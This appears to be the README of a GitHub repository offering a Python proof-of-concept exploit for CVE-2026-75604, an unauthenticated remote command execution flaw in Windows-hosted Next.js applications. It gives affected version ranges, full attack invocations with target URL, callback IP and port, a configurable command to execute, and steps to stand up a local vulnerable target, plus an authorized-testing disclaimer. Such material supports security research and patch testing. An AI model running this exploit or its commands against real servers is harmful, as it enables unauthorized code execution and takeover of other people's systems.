rafabd1/cve-2026-75604-pocProof-of-concept exploit for CVE-2026-75604, an unauthenticated remote code execution in Windows-hosted Next.js apps, with callback-based command execution and local target setup.
Python proof of concept for CVE-2026-75604, an unauthenticated remote command execution vulnerability in Windows-hosted Next.js applications that use both the Pages Router and App Router without Cache Components.
>=13.4 <15.5.24 or >=16.0 <16.3.3Validated with .
python -m pip install -r requirements.txt
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP --pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE --app-cache-path /PATH/TO/APP_CACHE_INSTANCE
The Server Action path defaults to /. Use --action-field when its form has more than one field.
Required arguments:
--target URL: base URL of the Next.js application--callback-ip ADDRESS: IPv4 address reachable by the target--pages-cache-path PATH: existing dynamic Pages Router ISR page--app-cache-path PATH: existing dynamic App Router page backed by the filesystem cacheOptional arguments:
--command COMMAND: command to execute; defaults to whoami--action-path PATH: App Router page containing the compatible Server Action; defaults to /--action-field NAME: form field consumed by the action; detected automatically when unambiguous--callback-port PORT: callback port; defaults to 4331--listen-address ADDRESS: local callback bind address; defaults to 0.0.0.0--timeout SECONDS: request and callback timeout; defaults to 20--insecure: disables TLS certificate verificationThe optional target/ application pins [email protected] and uses the standard Next.js production server:
cd target
npm ci
npm run build
npm start
Run the PoC in another terminal:
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 --pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed
The optional target provides the required routes and a compatible Server Action on /.
This PoC is provided for educational purposes, security research, and authorized testing only. Use it only on systems you own or have explicit permission to test.
Credit to evolutionstorm & b0r1.
This PoC was independently reconstructed from the public advisory and Next.js patch.